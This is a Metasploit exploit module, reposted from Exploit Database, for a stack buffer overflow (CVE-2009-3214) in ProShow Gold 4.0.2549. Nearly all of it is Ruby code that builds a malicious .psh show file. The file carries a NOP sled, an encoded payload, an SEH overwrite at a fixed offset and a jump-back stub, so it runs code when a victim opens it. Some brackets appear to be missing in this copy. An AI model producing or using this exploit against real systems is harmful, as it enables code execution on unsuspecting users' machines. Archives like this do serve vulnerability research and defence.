ProShow Gold 4.0.2549 – ‘.psh’ Local Stack Buffer Overflow (Metasploit)

Exploit Database
103 阅读

作者： Metasploit

日期： 2010-09-25
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/16655/

# $Id: proshow_cellimage_bof.rb 10477 2010-09-25 11:59:02Z mc $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow',

'Description'=> %q{

This module exploits a stack-based buffer overflow in ProShow Gold v4.0.2549.

An attacker must send the file to victim and the victim must open the file.

'License'=> MSF_LICENSE,

'Author' => [ 'jduck' ],

'Version'=> '$Revision: 10477 $',

'References' =>

[

[ 'CVE', '2009-3214' ],

[ 'OSVDB', '57226' ],

[ 'URL', 'http://www.exploit-db.com/exploits/9483' ],

[ 'URL', 'http://www.exploit-db.com/exploits/9519' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'DisablePayloadHandler' => 'true',

'Payload'=>

{

'Space'=> 1000,

'BadChars' => "\x00\x0a\x0d",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

# 0x01a614ea # p/p/r @ all.dnt

[ 'Windows Universal', { 'Offset' => 4036, 'Ret' => 0x101a4cf9 } ], # p/p/r if.dnt

'Privileged' => false,

'DisclosureDate' => 'Aug 20 2009',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ true, 'The file name.','msf.psh']),

], self.class)

end

def exploit

sploit = make_nops(target['Offset'] - 4 - payload.encoded.length)

sploit << payload.encoded

sploit << generate_seh_record(target.ret)

# note, just in case the arguments get modified, we'll jump back into our buffer...

sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + target['Offset'].to_s).encode_string

# cause exception hitting the end of the stack

sploit << rand_text(1000) * 13

content = "Photodex(R) ProShow(TM) Show File Version=0\r\n"

content << "cells=1\r\n"

content << "cell[0].nrOfImages=1\r\n"

content << "cell[0].images[0].image=" << sploit << "\r\n"

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(content)

end